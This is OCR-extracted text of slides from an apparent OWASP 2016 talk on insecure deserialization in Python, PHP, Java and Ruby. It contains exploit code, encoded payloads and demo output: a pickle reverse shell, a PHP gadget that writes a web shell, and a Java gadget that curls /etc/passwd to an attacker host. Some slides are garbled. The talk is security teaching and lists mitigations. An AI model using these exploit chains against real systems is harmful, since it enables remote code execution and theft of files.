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Talk Overview

» What is (de)serialization?
= Why would you use it?

Covering a range of languages
Python

PHP

= Java

= Ruby

Across languages:

» How are deserialization vulnerabilities introduced?
= How are they exploited?

* How do you avoid them?
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Serialization 101

» (De)serialization allows for object portability

* Object -> Serialize -> Byte stream
» Byte stream -> Unserialize -> Object

* PHP Example
" serialize () an objectto a string

= write string to a file
" unserialize () the file’s contents back into an object
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Many names, same concept

* Python
= pickling/unpickling

= Java & PHP
» serializing/deserializing

* Ruby
» marshalling/unmarshalling
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What could possibly go wrong?

» Say you're expecting a string containing information about a
user...

... Such as a session object

* How can you tell if it's properties have been changed?
* How can you tell if it's even a session object?
= What if it isn't?
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It’s a feature, not a bug!

» By design, deserialization across different languages will
attempt to turn whatever byte stream is provided back into an
object

* Depending on the object, this can result in a number of things...
* Privilege escalation through object properties

» Exploitability varies across languages & applications
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PYTHON
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Python — Vulnerability Background

» Introduced via:
" pickle.load ()
" pickle.loads ()
" cPickle.load()
" cPickle.loads ()

. Pytlgon calls reduce () on objects it doesn’t know how to
pickle

= Attacker can supply arbitrary objects:
= arbitrary attributes
= arbitrary reduce () method
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Python — Serialized Object

user.py
class User:

def aglagr (self) :

SO NARMIFS LA v =l NS
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Python — Serialized Object

user.py

class User:

def aglagr (self) :

pickle.dumps () will
SELTREAS NN SO return the pickled User
object
D RFAD Ilee == -
user = User ()

USer ANsE Ll Cr=

print (pickle.dumps (user) )
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Python — Serialized Object

User Object

python user.py | xxd \\\\\

O 8.8, C LU O AN SINLECL A 6.6 €8 S FMNDNT A IINGONS T2 OEN L AATENINS 2l B
IO A O SOl 8 G A B e S oy N WS 0 2 S RS R Ay U LI NPTy N
DO ODZE D BLEI 0 N ¢S 2D P T B AT B e ))e A ABINIAI S0,
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Python — Serialized Object

DAERS WaE e AW N eaad
C18. 0, QP &N T F ARNALG L CAF B EC EN FF NI T IS W2 UE:
NN S WO IO AL EN QAT S e NI E O S W W D2 S R TR ES

(AN NS L SR

RAGODN NS ISR EY N
DO BB 202 BLLH A AOaF MU ¢S 20 P DI Bl LBV S 6 e )Ue d'.pZ.I%;prf

user id property
with value of 1
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Python — Real World Examples

* CVE-2015-0692: Cisco Web Security Appliance Code Execution
» CVE-2014-3539: Rope for Python Remote Code Execution

» CVE-2014-0485: S3QL pickle() Code Execution
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Python — Vulnerable Code

def index(request):
COOLLIrFEN DN ENCE TR KL SN S FOENC N
EOJGUIAP NS ¢TI S e e SILGOORNIINS /Gl RES@ Kave L)

el ndecodada= NN s aFeNRE e 4 QdecodeGo s PrreNcoekaey)

Gl e e R srdcacEaESrhdcdoded)
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Python — Vulnerable Code

def index(request):
COOLLIrFEN DN ENCE TR KL SN S FOENC N

EIGUIAP NS ¢TI S e e SiLGOORNIIIG /Gl SEO@ Kase L aamer

HalsEd e cCodic O urlsafe_base64_decode(colourPf€f>ggokie)
Gl e ilardcacEivasSrhdcedoded) pickle.loads ()

<  called on decoded user

supplied cookie
(“ColourPreference”)
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Python — Exploit

NS Y RN 0 o

BN VALY EEAONTDAN):
callback 1p =
SCAPNOCe 010 s /s

command =

e ya kv Ko,
callback port) v

return (os.system, (command,))
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Python — Exploit

NS Y RN 0 o

Malicious
ESIIGE, )

BN A S E e S 5!
callback 1p =
S ARNOE el Q0L e

command =

method called on
pickle.loads ()

e ya kv Ko,
callback port) Y

return [os.system, (command,|))
e

Reverse shell payload
via
0s.system (command)
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Python — Demo

1. Application returns a user’s “colour preference”:

Vuln - Python Colour Preference

Colour Preference
Your current colour preference is: {fiaaad
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Python — Demo

2. Auser’s “colour preference” is determined via a cookie:

le=Vuln - Pytho
href tati

d" href="#"=Vuln - Python:

se navbar-collaps

nection:

current colour preference is:
nan=
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Python — Demo

3. Auser’s “colour preference” is determined via a cookie:

Connection: cl

role="alert"=Your current colour preference is:
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Python — Demo

4. The “ColourPreference” cookie is a Base64 encoded pickled object:
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Python — Demo

5. Replacing the “ColourPreference” cookie with the pickled payload
generated previously:

i~/owasp day/python# python exploit.py
Y3BvcZ14CnN5c 3R bOpwMAooUydybSAvdGIwl 293 XNwX3No/Wxs0yBta25vZ CAvdGIwl 293 KNwK3No 7
WxsIHA7IGS] IDE3MidxNidxNjUuMTI4IDMxMzM3IDwglL 3Rt cCOvd2FzcFO9zaGVsbCEBBIC9iawdvyYmFzal
A+ICO0bXAvb3dhc3BfcZ2hlbGwnCnAxCnRwMgpScOMKLg==

~70wasp_day/python¥ Jj
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Python — Demo

6. Remote code execution achieved:

:~fowasp_day/python# nc -1 -p 31337
id
uid=1000{owasp) gid=33(www-data) groups=1000{owasp).4(adm),24(cdrom) ,27(sudo) ,30(
dip),33(www-data) ,46(plugdev) ,118(1lpadmin) ,111{sambashare)
pwd
/home/owasp/vuln_app
1s
db.sqlite3
manage.py
static
vuln_app
vuln_app.sock
vuln _project
vuln_project env
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PHP
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PHP — Vulnerability Background

= Introduced via:
" yunserialize ()

= PHP calls “magic methods” when deserializing, e.qg:
e CNRE 2 P IEN TN
=  wakeup ()

» Magic methods used to form POP chains, similar to ROP in memory
corruption

= Known as “Object Injection”
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PHP — Serialized Object

User.php
class User

S LA R S iedly
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PHP — Serialized Object

User.php

class User

A2 serialize () will

return the serialized
User Object

BALS SN A\ 2 AN
FUDSICEI e e TN ¢

print {serialize (Suser))|;
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php User.php |

xxd

PHP — Serialized Object

OO E 0LV PA 2NN S A SAAAADTH ELE 6 BN PV XN CNLLS SIS S
N NNLO €L P UL 23 NS/ NS C IO NAI S PSS AV S Ka o

OO\ 20N ST

OWASP New Zealand Day 2016

Deserialization, what could go wrong?

User Object

l

Oy B a W .

Sy NI G A

}

e



PHP — Serialized Object

DLHP AV SEY R Rl aedd
BE. 8L S OPF AN L ANIAASN LS, 6 S P M N CDI P DS LA AN S A ANV ANS
OGN AN ISP UL 2N NS B3/ &N G AN I 0 S AV B LB lony N AU NI AP 1y

0000020: 7d } \/

user id property
with value of 1
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PHP — Real World Examples

= CVE-2015-8562: Joomla Remote Code Execution
= CVE-2015-7808: vBulletin 5 Unserialize Code Execution
* CVE-2015-2171: Slim Framework PHP Object Injection

* MWR Labs: Laravel -> Cookie Forgery -> Decryption -> RCE
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PHP — Vulnerable Code

Suser cookie = $ COOKIE["user"];
Suser cookie decoded = base64 decode (Suser cookie);

SO S/ G OORSSEENNN.SAGH sl ool el d SNy
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PHP — Vulnerable Code

Suser cookie|= S COOKIE["user"];
ded

S AN T N N TN = SR 2=y (S e,

Suser cookie— = base64 decode (Suser cookie) ;

OO Qe TN,

unserialize ()
called on user supplied
cookie
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PHP — Gadget Class

class Debugger
DU SN C LT e

PUDLLS N e (OOUNS T 756

RUBMNE L EUH A I v s e AdePug  Fitla S NS RATISY 4S5 i oG0S T S)

i LD o R ENCE R Y Aoy N B R EIIC U e MECR LK

pubLisNRUDCE NN ST alietph

Sthis~>write’ debug fide (Sthis~>Tdlename; (Sthis~>Fidencontents)y
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PHP — Gadget Class

class Debugger
DU SN C LT e

PUDLLS N e (OOUNS T 756

puMN e LSt v sl e Adebug  Fitle NS AameY 2S5 i e aoI e TS,

N WL Sy o R T 5] Pt g SN S LA TS ACONTE SN AL ¥

__wakeup () called on
unserialize, calls
L e Celelouthana Ehely

public function| wakeup

Sthis~>write’ debug fide (Sthis~>Tdlename; (Sthis~>Fidencontents)y
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PHP — Gadget Class

class Debugger
public fpfile name;

public pfile contents;

RN e LU N Wit eAdebug " Fitle I RAMSY ah TR ESF e TIES,)

N WL Sy o URC T 5] Pt g S| NOSLIESY i) Y (Sl mehiyie SiNel) L %,
User controllable
properties passed to
Py nten
public function  wakeup L e NOIE A @OR E sy

Sthis~>write debug, ‘fide 3this~>Tdle name} {Sthis~>Filevcontentspy
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PHP — Exploit

require ("./debugger.php") ;
Sdebugger = new Debugger () :;
Sdebugger->file name = "/var/www/html/shell.php";

SN GG Sl NI/ N i e oy N DL NS OO S R E T (S PO LD O G I A CA NN

echo (base64 encode (serialize (Sdebugger ;
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PHP — Exploit

require ("./debugger.php") ;

Sdebugger = new Debugger () :;
Sdebugger-3file name|= "/var/www/html/shell.php";
$debugger—>file_cdﬁtéﬂtg o NS S OO s R E M (S P O LD OC KA G

echo (base64 encode (serialize ($debuggé User controllable

attributes
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PHP - DEMO
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PHP — Demo

1. Application greets a user:

(' owasp.php

i_ivuln - Python {_iVuln - PHP [&EVuln - Java

Vuln - PHP Index

Welcome!

Welcome back @
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PHP — Demo

2. User is determined via cookie

MT

al ; Linux | untu)
lubuntud .14
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PHP — Demo

3. Base64 decoding the cookie reveals it's a serialized PHP object:
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PHP — Demo

4. Privilege escalation can be achieved via modifying cookie attributes:

GET / HTTP/1.1

» Linux
1101

_-Léﬂ?_ ge: en-US,en;g=0.5
t-Encoding: gzip, deflate

0:4:"User":1:{s:7"user id";s:1:"0
r I
Connection: close

OWASP New Zealand Day 2016 Deserialization, what could go wrong?




PHP — Demo

5. Privilege escalation can be achieved via modifying cookie attributes:

/ HT

., deflate

dmir

Information.
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PHP — Demo

6. Can also supply gadget chain using Debugger class from before to write
out shell.php:

:~/owasp day/php# php exploit.php |

Tzod401JEZWI1Z2d1cileMjp7czo501ImaWx 1 X25hbWU103MEM] METi92Y X Ivd3d3L 2habWwvc Zh1 bGwL

- Linux cGhwljtz0jEz0iImaWx 1 X2NvbnR1bnRz1jtz0jM20i18P3BocCBLY2hvIHNSc3R1bSgkX1BPULREINBY
91 Yy JdKTsgPz41030= :~/owasp_day/php#
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PHP — Demo

7. shell.php successfully created, remote code execution achieved:

/shell.php HTTP/1.1
. owasp.php
¢ Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0

. te plicati tml+xml,application/xml ;q=0.9,*/*;¢
pt-Language:
Accept -Encoding
Cookie: ust )01JVec2Vy1joxOntz0jc6InV JTawQi03MEMToiMCI7 fQ
Connection:
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

poc=id;ps+aux

OWASP New Zealand Day 2016

HTTP/1.1 200 OK

Date: Mon, 22 Feb 2016 03:43:01 GMT
Server: Apache/2.4.7 (Ubuntu)

X-Pov By: PHP/5.5.9-1ubuntu4.14
Vary opt -Encoding
Conten ength: 11679
Connection: close
Content-Type:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

USER PID %CPU %MEM VSz RSS TTY STAT START COMMAND

root 33620 4144 Ss 136 /sbin/init
root 0 0 S [kthreadd]
root [ksoftirqd/0]
root [kworker/0:0H]
root [rcu_sched]
root [rcu_bh]

root [rcuos/0]
root [rcuob/0]
root [migration/0]
root [watchdog/0]
root [khelper]
root [kdevtmpfs]
root [netns]

root [perf]

root [khungtaskd]
root [writeback]
root [ksmd]

root [khugepaged]
root [crypto]

-~
A

A

nununn
A A

v wn
= A

=NoloNoNololoNololololololololooolo]
w
=

(=N -NoRoNoNoNoNlolololoNlolloNo oo N ool

4
0
0
0
0
0
0
0
0

.0
0
0
0
0
0
0
0
0
0

(=Nl o No ool ool oo Rlo o o o oo o o)
[ I - I - = B - T = < i i i I R i - -

(= I =~ I I B i > > i R I i i I
coOoOOoOOCOOOOO OO DO OO @
) sm) m) sm) sm) sm) sn) sm) sm) w) sw) sa) sw) sw) sw) sm) sw) sa)

v wn
A
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PHP — Real World Gadgets

= Composer can bring multiple classes into an application

= Some popular composer libraries with useful gadgets:

= Arbitrary Write:
PAIORONG S /NGOG I NI POY)

" guzzlehttp/guzzle
" guzzle/guzzle

= Arbitrary Delete:

W) S I A R e Y P sl e
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PHP — Mitigations

use unserialize ()on anything that can be controlled
by a user

= Use JSON methods to encode/decode data:
EEOnN DG Edal(y
" json decode ()
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Java — Vulnerability Background

= Introduced via:
" ObjectInputStream.readObject ()

= Similar exploitation to PHP

= Supply malicious object, start POP chain from that object’s
readObject () method

* Common Iin Java enterprise and thick-client applications

OWASP New Zealand Day 2016 Deserialization, what could go wrong? /ﬁ



Java — Serialized Object

User. java

public class User implements
Serializable {

DU SLEVARILATCETANCY

public User() {

iCanig S WU ISCF of NN
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Java — Serialized Object

User.java User class must implement

Serializable to be serializable

public class User fmplements
Serializable

DU SLEVARILATCETANCY

public User() {

iCanig S WU ISCF of NN
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Java — Serialized Object

User. java

public class User implements
Serializable {

DU SLEVARILATCETANCY

DB AEY NS ads 9

i S ¢\r ol
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Serialize.java

User = new User () ;

SIS DN e M (Sl

FileOutputStream baos = new
FileOutputStream("file.txt");
ObjectOutput o0cos = new
ObjectOutputStream (baos) ;

oos.writeObject (user) ;

QO a5 =L P




Java — Serialized Object

User. java Serialize.java

public class User implements User = new User():;

A I AL, LiSE i S\ iSO AR

O e N FileOutputStream baos = new
FileOutputStream("file.txt");
. ObjectOutput o0cos = new
public)Useri) i ObjectOutputStream(baos) ;

this.user_id = 0; oos.writeObject (user)|;

oos.close (

writeObject () will
write the serialized
User object to

Fif e NoScie
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Java — Serialized Object

User Object

java Serialize && cat file.txt | xxd \\\\A
G060 O V'O r ey BSOS L2 LS. IS PN O 2 SN DS e A AN SN LN
LN €A NG AN O AN QO S RSB 05 Y RV S RS S VAU

P OOQ) 2> BAELEAANICNE P ACT I N EBYING

OWASP New Zealand Day 2016 Deserialization, what could go wrong? /ﬁ



Java — Serialized Object

Java Serialize && cat file.txt | xxd
G060 OO ra eI BSOS L2 LS. IS PN OO 2 SN DS e A AN AN,
NN €A O AT Q2 AN NS GO TS RS IS 0 S U S B A N T A VAR

P TOQ) 2P BAGEAAMICNE P ZGT I N dxp,i;;\////’

user id property
with value of
1S 45.500
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X4

Java — Real World Examples

» PayPal RCE

» Epic blog post from FoxGlove Security this year:
= WebSphere
= JBoss
= Jenkins
= \WebLogic
= OpenNMS

OWASP New Zealand Day 2016 Deserialization, what could go wrong?


http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

Java — Vulnerable Code

String parameterValue = request.getParameter ("csrfValue");

byte[] csrfBytes =
DatatypeConverter.parseBase64Binary (parameterValue) ;

ByteArrayInputStream blis = new ByteArrayInputStream(csrfBytes);
ObjectInput in = new ObjectInputStream(bis);

csrfToken = (CSRF)in.readObject ()

OWASP New Zealand Day 2016 Deserialization, what could go wrong?




Java — Vulnerable Code

String |parameterValue |= request.getParameter|("csrfValue")|;

bytel[] |csrfBytes|=
DatatypeConvertersparseBase64Binary (parameterValue|) ;

ByteArrayInputStream bis| =new ByteArrayInputStream(csrfBytes)

ObjectInput |[inf=——new ObjectInputStream(is); ,
\ readObject () called

on user supplied
csrfToken = (CSRF)in.readObject ()|; parameter value
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Java — Gadget Class

public class Debugger implements Serializable {
PO AN MG SO A IS0y
public voild execCommand () {

Runtime.getRuntime () .exec (this.command) ;

private void readObject (java.io.ObjectInputStream in) throws IOException,
ClassNotFoundException {

this.execCommand () ;
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Java — Gadget Class

public class Debugger implements Serializable {

execCommand () runs

command in object’s
command property

BADLASS SO reOiah ol A S0

public void execCommand () {

Runtime.getRuntime () .exec (this.command)}; readObject()CaHS

execCommand ()

private void readObject (java.io.0b]

nputStream in)
ClassNotFoundException {

LI OWSF A0 xgepDit i onY,

. A/
this.execCommand ()
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Java — Exploit

» Code to generate the malicious Debugger object:

Debugger maliciousObject = new Debugger () ;

TSN OGSO NSO/ NI A S T LA A A G SN oS P OB T
file=@/etc/resolv.conf";

ByteArrayOutputStream bos = new ByteArrayOutputStream() ;
ObjectOutput oout = new ObjectOutputStream (bos) ;
oout.writeObject (maliciousObject)

byte[] yourBytes = bos.toByteArrayl()

String base640bject =
DatatypeConverter.printBaseb4Binary (yourBytes) ;

System.out.println (base640bject)
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Java — Exploit

» Code to generate the malicious Debugger object:

Debugger maliciousObject = new Debugger()r/i::;;;7/

Debugger object

created with malicious
command property

Tl SN SO0 NS LACE T Gy Seir 4. AL e S R S N e (5

VWS S/ eSS e NG OD Y

ByteArrayOutputStream bos = new ByteArrayOutputStream() ;

ObjectOutput oout = new ObjectOutputStream(bos) ;

oout.writeObject maliciousObject);

byte[] yourBytes = bos:
String base640bject-=

DatatypeConverter . JprintBase64Binary

(you
System.out.println (base640bject)

Malicious object
serialized and encoded

OWASP New Zealand Day 2016 Deserialization, what could go wrong?
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Java - DEMO
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Java - Demo

1. Application provides a feedback form:

Vuln - Java Feedback

Feedback Form

Emall address

Comments

Please subscribe me to your mailing list!

Submit Query
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Java — Demo

2. Form’s CSRF value is a serialized Java object:

POST request to fowasp/

MName
JSESSIONID 5D 4E9BE35FE202132A1BA4E25701

dexample. Cco
Sreat form!
on

rO0ABXNyAAPVAZF zcC5DUTGUBSgCUF W1 1gCAAF MAAVZYWX 1ZXQ. .
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Java — Demo

3. Replacing Serialized Java object with our payload:

:~/owasp day/java# java Exploit

rOGABXNyAASvd2Fzc CBEZWI1Z2d1cin/ 3K KAJu+AgABTAAHY29tbWFUZHQAEK xqYXZhLZ2xhbme vU3Ry
aWsSn03hwdAAWY3VybCAxNzIuMTYuMTY 1L jEyOCAtWCBQTINUIC1GIGZpbGUIQCY1dGMyve GFzc 3dk
:~/owasp_day/java# |
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Java — Demo

4. Remote code execution achieved:

:~fowasp_day/java# nc -1 -p 80
POST / HTTP/1.1
User-Agent: curl/7.35.0
Host: 172.16.165.128
Accept: */*
Content-Length: 1525
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------ 99edBEe74071e918

-------------------------- 992d86e740712918
Content-Disposition: form-data; name="file"; filename="passwd"
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync :x:4:65534::sync :/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Tp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail :x:8:8:mail:/var/mail :/usr/sbin/nologin

news :x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbhin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33 www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
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Java — Real World Gadgets

= ysoserial will generate exploits for gadgets from:
» Apache Commons BeanUtils
= Apache Commons Collections
= Groovy
» JRE <=1.7u21
= Spring
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Java — Mitigations

use ObjectInputStream.readObject ()on anything
that can be directly controlled by a user

» Enterprise Java does this all the time
* Timely patches not always available
= Segment network, ensure detection and response capability is sound

* Don't start rm'ing libraries in the classpath; this only takes away
certain vectors, and could well break the application
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RUBY
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Ruby — Vulnerability Background

* Introduced through the use of Marshal.load () on user
controlled data

* Ruby on Rails (<4.1 by default) uses of Marshal.load () on
user cookies
» But cookies are protected by an HMAC, so no issue, right? Well...
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Ruby — Serialized Object

User.rb

O a S LIS N
CISAIANLENNZ N NASI U S ErNILEN
Sl N A AU i NG o]
end

end

user = User.new(l)

print (Marshal.dump (user) )
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Ruby — Serialized Object

User.rb

class User

CISAIANLENNZ N NASI U S ErNILEN

B SErar VE e N4 Marshal.dump () will
return the serialized
end )
User Object
end
user = User.new(l

print/(Marshal.dump (user))
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Ruby — Serialized Object

User Object

FINANTE EL BN CEd6 l
0000000: 0408 6f3a 0955 7365 7206 3a0d 4075 7365 ..o0:.User.:.@use
OB 00 LA GO S8 BN UG PO
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Ruby — Serialized Object

oS ANTE St BB CEd61

O O80 B WACEAHONT eO VNS A3 B A2 06T SRl IN PO SISO INT O AP NEEIA v I SE

0000010: 725f 6964 6906 r_idi.\\/////

user id property
with value of 1
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Ruby — Real World Examples

» “Instagram's Million Dollar Bug”: Rails secret_token on GitHub:

sensu / sensu-admin © Watch 31 o Star 87 ¥ Fork 53

<> Code ssues 9 Pull requests 1

e: 56719... ¥ sensu-admin / config / initializers / secret_token.rb Find file Copy path

E.Josh Pasqualetto [Initial commit]

Raw Blame History

n = '5b1702cbbOb483cdd35badTEbi6ch 8b ) dcb47edeef418c6dibT767 511467102 c6285e9e24b38Th423bcTatesd58a’
'l
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Ruby — Mitigations

use Marshal. load () on anything that can be controlled
by a user.

= Use JSON methods rather than Marshal

» Protect your secrets, never commit secrets to source control
(GitHub, BitBucket, etc)
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NET?

» James Forshaw - BlackHat USA 2012: "Are you my Type?”

= A possibility in .NET code too
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https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf

IEVGCEWENS

deserialize arbitrary user supplied data:
= HTTP requests (form values, parameters, cookies, headers, etc)
= Database contents
= Memcached

= Stick to primitive serialization formats, for example, JISON
= Be mindful of version control; keep your secrets secret

* Don'’t start rm’ing gadget classes; risk of breaking app, doesn’t fix underlying
Issue
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Links / Further Reading

Python
= https://docs.python.org/2/library/pickle.html

PHP

= https://www.insomniasec.com/downloads/publications/Practical%20PHP%200bject%20Injection.pdf
= https://secure.php.net/manual/en/function.unserialize.php

= https://secure.php.net/manual/en/language.oop5.maaqic.php

Java
http://www.slideshare.net/frohoffl/appseccali-2015-marshalling-pickles
https://qithub.com/frohoff/ysoserial

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-
yvour-application-have-in-common-this-vulnerability/

http://artsploit.blogspot.co.nz/2016/01/paypal-rce.html
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http://artsploit.blogspot.co.nz/2016/01/paypal-rce.html
http://artsploit.blogspot.co.nz/2016/01/paypal-rce.html
http://artsploit.blogspot.co.nz/2016/01/paypal-rce.html
http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
https://github.com/frohoff/ysoserial
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
http://artsploit.blogspot.co.nz/2016/01/paypal-rce.html

Links / Further Reading

Ruby
= http://ruby-doc.org/core-2.2.2/Marshal.html
= hitps://exfiltrated.com/research-Instagram-RCE.php

= http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-
its-secret-token/

NET

= https://media.blackhat.com/bh-us-
12/Briefings/Forshaw/BH _US 12 Forshaw Are You My Type WP.

pdf
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